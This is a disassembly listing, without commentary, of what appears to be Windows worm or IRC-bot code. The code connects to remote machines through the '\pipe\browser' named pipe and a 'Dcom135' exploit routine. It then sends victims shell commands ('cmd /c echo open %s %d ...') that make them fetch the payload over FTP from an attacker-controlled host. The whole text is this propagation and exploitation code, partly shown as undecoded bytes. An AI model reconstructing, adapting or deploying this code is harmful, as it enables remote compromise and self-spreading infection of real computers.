		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  80h	; €
		db 0E0h	; à
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2650975h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B

loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------

loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_404AE8

loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		call	near ptr 26309DCh
		nop
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2630000h
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)

loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0

loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C

loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26309DCh
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B

loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax

loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 2650C92h
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jnz	short loc_404E03
		nop
		call	near ptr 2650C45h
		cmp	eax, 3E5h
		jnz	loc_404A04

loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2650BE2h
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1

loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------

loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]

loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi

loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al

loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0C2h	; Â
		db  24h	; $
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db 0E8h	; è
		db  78h	; x
		db 0C4h	; Ä
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db 0B6h	; ¶
		db 0C8h	; È
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  83h	; ƒ
		db 0EDh	; í
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db 0ABh	; «
		db 0EFh	; ï
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db  78h	; x
		db 0F6h	; ö
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  3Ch	; <
		db 0C8h	; È
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0FCh	; ü
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; Ü
		db  89h	; ‰
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db 0A3h	; £
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0D7h	; ×
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  33h	; 3
		db 0CBh	; Ë
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 1FB449E8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C

loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------

loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------

loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE

loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh

loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------

loc_4050FE:				; CODE XREF: ___:004050F2j
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax

loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43F668
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		nop
		call	near ptr 26003D2h
		push	offset byte_42F678
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F

loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------

loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		mov	al, 1

loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		call	near ptr 71AB2BBFh
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		nop
		call	near ptr 71AB12F8h
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------

loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]

loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------

loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx

loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2

loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		nop
		call	near ptr 71AB1AF4h
		push	3E8h
		nop
		call	near ptr 26003D2h
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------

loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------

loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		nop
		call	near ptr 71AB8629h
		push	edi
		nop
		call	near ptr 71AB1A6Dh

loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax

loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	near ptr 71AB41DAh
		nop
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3ECEh
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------

loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8

loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h,	8390716Bh
		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------

loc_405574:				; CODE XREF: sub_4053D5+1ADj
